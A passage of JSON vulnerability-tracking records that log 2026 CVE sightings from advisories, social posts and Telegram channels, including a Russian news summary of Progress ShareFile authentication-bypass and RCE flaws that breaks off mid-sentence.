"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27780", "type": "seen", "source": "https://bsky.app/profile/vmorecloud.bsky.social/post/3mjvoyk7fjb2y", "content": "", "creation_timestamp": "2026-04-20T05:04:51.449919Z"}, {"uuid": "95284996-d2dd-47a9-a404-7a93e5d8c79d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjycwtdrkx26", "content": "", "creation_timestamp": "2026-04-21T06:07:08.002799Z"}, {"uuid": "bcf12b06-0775-434e-b3bf-bc63d9e651c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27174", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-27174.yaml", "content": "", "creation_timestamp": "2026-04-20T02:11:49.000000Z"}, {"uuid": "6c804737-c9ce-4b5d-929b-b58d6c25466d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27843", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-111-12", "content": "", "creation_timestamp": "2026-04-21T10:00:00.000000Z"}, {"uuid": "c643da33-6a56-448d-af23-ef1224641265", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27841", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-111-12", "content": "", "creation_timestamp": "2026-04-21T10:00:00.000000Z"}, {"uuid": "da8fbe10-725e-4834-aa5e-28b069510ddf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27668", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-111-02", "content": "", "creation_timestamp": "2026-04-21T10:00:00.000000Z"}, {"uuid": "94e4771c-6076-4cfe-bf26-97d93cebbca8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2781", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/mozilla-products-multiple-vulnerabilities_20260422", "content": "", "creation_timestamp": "2026-04-21T20:00:00.000000Z"}, {"uuid": "f24137a5-f272-4321-8ec8-b77d3d5e8ccf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27727", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1833", "content": "", "creation_timestamp": "2026-04-21T21:00:00.000000Z"}, {"uuid": "c6c22e99-d5c3-49cf-9fe2-94d671722abd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27830", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1833", "content": "", "creation_timestamp": "2026-04-21T21:00:00.000000Z"}, {"uuid": "62ec2beb-d7ae-426b-8041-e98bfd4a2d9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27303", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mk4hepicne26", "content": "", "creation_timestamp": "2026-04-22T21:37:07.550630Z"}, {"uuid": "4d9954b5-2259-4da1-a531-957edc9cc27d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27246", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mk4j2dr5jx2o", "content": "", "creation_timestamp": "2026-04-22T22:07:07.178253Z"}, {"uuid": "9b9bc37f-a3be-4277-b32c-6cf66bb9fc2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27245", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mk4kpynuxe26", "content": "", "creation_timestamp": "2026-04-22T22:37:07.910060Z"}, {"uuid": "ad95be4e-88a4-43e6-b839-2d33c2b3f3d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27820", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mk5xnhq5ed2f", "content": "", "creation_timestamp": "2026-04-23T12:01:00.982288Z"}, {"uuid": "f20cdb4d-f286-42e4-a059-6c54aa400e2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27785", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-113-03", "content": "", "creation_timestamp": "2026-04-23T05:00:00.000000Z"}, {"uuid": "84c524c0-884a-41eb-a72a-2256473b2dff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2717", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mk7ieue4zx2x", "content": "", "creation_timestamp": "2026-04-24T02:33:05.658061Z"}, {"uuid": "93fcd7fc-3e0f-43f4-867f-e10fd7fbfbea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2717", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mk7ieuuvli2p", "content": "", "creation_timestamp": "2026-04-24T02:33:08.278235Z"}, {"uuid": "cd4f2269-4b4b-4281-bbc4-88b6ceb9b9f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27843", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116457801427447468", "content": "", "creation_timestamp": "2026-04-24T04:30:27.466691Z"}, {"uuid": "8222fc3c-2f32-421f-85ba-71611ba8e0a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27843", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mk7owrgmpj2m", "content": "", "creation_timestamp": "2026-04-24T04:30:30.021681Z"}, {"uuid": "530a085d-2315-49f1-82e8-85ed41ebb299", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2719", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mk7vrzzr232q", "content": "", "creation_timestamp": "2026-04-24T06:33:06.524141Z"}, {"uuid": "32791894-13f5-4386-becf-9b9657f4e393", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27966", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/langflow_rce_cve_2026_27966.rb", "content": "", "creation_timestamp": "2026-04-23T14:21:28.000000Z"}, {"uuid": "24750b0d-d1eb-456f-aacf-7b2772a3a502", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2796", "type": "seen", "source": "https://t.me/GithubRedTeam/79506", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-2796\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a WostGit\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-09 00:55:15\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-09T01:00:04.000000Z"}, {"uuid": "604b4bb4-f1cb-46b3-9323-3d54f6490af3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27966", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mkbgeot63t2f", "content": "", "creation_timestamp": "2026-04-24T21:02:35.716950Z"}, {"uuid": "005b7544-02e9-4fc3-80cb-3c7b9ffed87e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27292", "type": "seen", "source": "Telegram/dGt1m22sw1SGsA9Eug0OSHT5OJOK3joaNLENVhZetMIBpOs", "content": "", "creation_timestamp": "2026-04-15T01:19:06.000000Z"}, {"uuid": "7f1ea68b-2cf3-4bb0-b6eb-36f8f0512686", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27287", "type": "published-proof-of-concept", "source": "Telegram/vFalP9cCg-kFoPrSdHM4ZH4qnLHRdngXJ_Cuq8FbW2RkF4k", "content": "", "creation_timestamp": "2026-04-14T23:21:40.000000Z"}, {"uuid": "183c7d80-65af-46ed-a10b-c680ad50ab0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27289", "type": "published-proof-of-concept", "source": "Telegram/qw6naPQmOSFEqbc3iRVV_M5dhGETt1a49wBj6uReZM5MuI0", "content": "", "creation_timestamp": "2026-04-14T21:25:30.000000Z"}, {"uuid": "c4b8b008-68c5-470d-b433-f8a7483815dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27310", "type": "published-proof-of-concept", "source": "Telegram/qw6naPQmOSFEqbc3iRVV_M5dhGETt1a49wBj6uReZM5MuI0", "content": "", "creation_timestamp": "2026-04-14T21:25:30.000000Z"}, {"uuid": "7867a07c-cfab-4186-bc95-c9e2ac809c9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27311", "type": "published-proof-of-concept", "source": "Telegram/YBv3RW-vRVGMDDlTI6JsAJBRTWorFJbZdjQQujfRdi3MBhU", "content": "", "creation_timestamp": "2026-04-14T21:25:42.000000Z"}, {"uuid": "26f95da3-043c-4631-82d8-6a2912e4602f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27313", "type": "published-proof-of-concept", "source": "Telegram/YBv3RW-vRVGMDDlTI6JsAJBRTWorFJbZdjQQujfRdi3MBhU", "content": "", "creation_timestamp": "2026-04-14T21:25:42.000000Z"}, {"uuid": "ce5e49db-5d0c-4394-b2af-ba40d8f4f5aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27312", "type": "published-proof-of-concept", "source": "Telegram/YBv3RW-vRVGMDDlTI6JsAJBRTWorFJbZdjQQujfRdi3MBhU", "content": "", "creation_timestamp": "2026-04-14T21:25:42.000000Z"}, {"uuid": "8e3e23a4-1be3-41d8-8af8-2eb6c24e235a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27298", "type": "published-proof-of-concept", "source": "Telegram/GYbH54sRbOOqgznzSrvNbIPKqa8_TpEiUvDUzTYtUUyxy-E", "content": "", "creation_timestamp": "2026-04-15T01:19:21.000000Z"}, {"uuid": "e2c4934d-57ea-40f8-a841-dc4ca562eb96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27297", "type": "published-proof-of-concept", "source": "Telegram/GYbH54sRbOOqgznzSrvNbIPKqa8_TpEiUvDUzTYtUUyxy-E", "content": "", "creation_timestamp": "2026-04-15T01:19:21.000000Z"}, {"uuid": "4e13449d-af04-4e3d-b34f-1eec693d9d73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27681", "type": "seen", "source": "Telegram/eSN0kniBKOjOWLoqPKiOJjntu5EqZQhmg-DkLpbGwKugQA", "content": "", "creation_timestamp": "2026-04-15T14:35:33.000000Z"}, {"uuid": "63eaf8e2-e41a-4e44-86f1-1f1041f08ff5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27306", "type": "seen", "source": "Telegram/jHpVmdM968c9lFQ4KStSRALTqvtLmQ8NC1zLLnKyLbbys0E", "content": "", "creation_timestamp": "2026-04-14T23:21:52.000000Z"}, {"uuid": "65006805-cdda-4a30-972c-1c16c95ad38a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27305", "type": "seen", "source": "Telegram/jHpVmdM968c9lFQ4KStSRALTqvtLmQ8NC1zLLnKyLbbys0E", "content": "", "creation_timestamp": "2026-04-14T23:21:52.000000Z"}, {"uuid": "45c854dd-a836-4817-9e65-bcdf0dc155ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27295", "type": "seen", "source": "Telegram/dGt1m22sw1SGsA9Eug0OSHT5OJOK3joaNLENVhZetMIBpOs", "content": "", "creation_timestamp": "2026-04-15T01:19:06.000000Z"}, {"uuid": "0f2887e5-adbc-4ed5-93f2-a7eaf1cf92cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27296", "type": "seen", "source": "Telegram/dGt1m22sw1SGsA9Eug0OSHT5OJOK3joaNLENVhZetMIBpOs", "content": "", "creation_timestamp": "2026-04-15T01:19:06.000000Z"}, {"uuid": "d321e77f-5a4f-4c50-833e-ce2d361904e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27294", "type": "seen", "source": "Telegram/dGt1m22sw1SGsA9Eug0OSHT5OJOK3joaNLENVhZetMIBpOs", "content": "", "creation_timestamp": "2026-04-15T01:19:06.000000Z"}, {"uuid": "3fed0602-dade-433c-a2cd-4681d90161c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27304", "type": "seen", "source": "Telegram/jHpVmdM968c9lFQ4KStSRALTqvtLmQ8NC1zLLnKyLbbys0E", "content": "", "creation_timestamp": "2026-04-14T23:21:52.000000Z"}, {"uuid": "db3ebfc7-43e9-4d67-bf50-c832b35b3c2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27282", "type": "seen", "source": "Telegram/jHpVmdM968c9lFQ4KStSRALTqvtLmQ8NC1zLLnKyLbbys0E", "content": "", "creation_timestamp": "2026-04-14T23:21:52.000000Z"}, {"uuid": "9ba6570b-264e-4258-945b-ccf0be11c31d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27650", "type": "seen", "source": "Telegram/tQ8akL20JB-7ffGjDDpJsYVoTg18MfzS3yyGF6GBW7nNPwo", "content": "", "creation_timestamp": "2026-03-27T07:18:31.000000Z"}, {"uuid": "6bbf9d41-7025-4c11-a333-e20b22bd39be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2737", "type": "seen", "source": "Telegram/2ZRPJX-1sLKzKjRuu5udQKo36EYUbcyEMGSCPR0-mfcyWco", "content": "", "creation_timestamp": "2026-04-02T15:21:32.000000Z"}, {"uuid": "7108c0c4-bb4e-4342-95d1-664236efd32a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27073", "type": "seen", "source": "Telegram/uX4TKA0ifXT0knFE_-3lZyz36JeQNL4GgXr6yUfz4-1wQtc", "content": "", "creation_timestamp": "2026-03-26T21:35:04.000000Z"}, {"uuid": "46690387-eb0a-45ca-a1c6-829ea57f4a57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27135", "type": "published-proof-of-concept", "source": "Telegram/ZajfVU0NVHMB2Muj4M-mvXlhnMSYm4sTiRiw7Ql6Q5T1ODA", "content": "", "creation_timestamp": "2026-04-06T15:00:07.000000Z"}, {"uuid": "0e60f936-02da-455d-8e50-91eef5ad47ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27140", "type": "seen", "source": "Telegram/ulzojcng9ODO3mYAFKZ3I4U5UIKMRKrkS4dgW2bfC7W1zxM", "content": "", "creation_timestamp": "2026-04-13T15:15:42.000000Z"}, {"uuid": "561f4ccf-35dc-4787-a493-f408a26ff158", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "Telegram/2ZRPJX-1sLKzKjRuu5udQKo36EYUbcyEMGSCPR0-mfcyWco", "content": "", "creation_timestamp": "2026-04-02T15:21:32.000000Z"}, {"uuid": "835f907d-a87c-420c-9f7a-31c6ade27213", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27124", "type": "published-proof-of-concept", "source": "Telegram/DJsg5Qi7j92DgCP14lqfeXU4IPClBfbIww0fpCMr4ueipk0", "content": "", "creation_timestamp": "2026-04-03T17:26:40.000000Z"}, {"uuid": "92fa2946-d544-4e04-9c0e-94d308b72eb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27681", "type": "published-proof-of-concept", "source": "Telegram/j1YKUKFGBq5wmef4QEbA7k-TdRl9f0BaDNzVfGs6U0ZXPS4", "content": "", "creation_timestamp": "2026-04-14T01:15:38.000000Z"}, {"uuid": "ffb619d7-f1af-447c-9ef5-38f5b778f388", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://t.me/true_secator/8063", "content": "\u0414\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Progress ShareFile, \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043a\u0440\u0430\u0436\u0443 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438\u0437 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0441\u0440\u0435\u0434.\n\n\u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0446\u0435\u043b\u044c\u044e \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438, \u043a\u0430\u043a \u044d\u0442\u043e \u0443\u0436\u0435 \u0431\u044b\u043b\u043e \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 \u0430\u0442\u0430\u043a\u0430\u043c\u0438 \u0431\u0430\u043d\u0434\u044b \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 Clop, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043c\u043e\u043d\u0435\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0438\u0445 \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Accellion FTA, SolarWinds Serv-U, Gladinet CentreStack, GoAnywhere MFT, MOVEit Transfer \u0438 Cleo.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 watchTowr \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (CVE-2026-2699) \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 (CVE-2026-2701) \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Storage Zones Controller (SZC), \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c \u0432 \u0432\u0435\u0442\u043a\u0435 5.x Progress ShareFile.\n\nSZC \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0431\u043e\u043b\u044c\u0448\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0432\u043e\u0438\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0438\u043c \u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0438\u0445 \u043d\u0430 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 (\u043b\u0438\u0431\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e, \u043b\u0438\u0431\u043e \u0443 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0435\u0433\u043e \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430) \u0438\u043b\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Progress.\n\n\u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a watchTowr \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u0445, \u0438\u0445 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432 Progress ShareFile 5.12.4, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 10 \u043c\u0430\u0440\u0442\u0430.\n\n\u0412 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u043c \u043e\u0442\u0447\u0435\u0442\u0435 watchTowr \u043f\u043e\u044f\u0441\u043d\u0438\u043b\u0430, \u0447\u0442\u043e \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 CVE-2026-2699, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 ShareFile \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 HTTP-\u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.\n\n\u041f\u0440\u043e\u043d\u0438\u043a\u043d\u0443\u0432 \u0432\u043d\u0443\u0442\u0440\u044c, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0437\u043e\u043d\u044b \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043f\u0443\u0442\u0438 \u043a \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u0438\u043c\u0435\u044e\u0449\u0438\u0435 \u0432\u0430\u0436\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043f\u0430\u0440\u043e\u043b\u044c \u0437\u043e\u043d\u044b \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0438\u043c 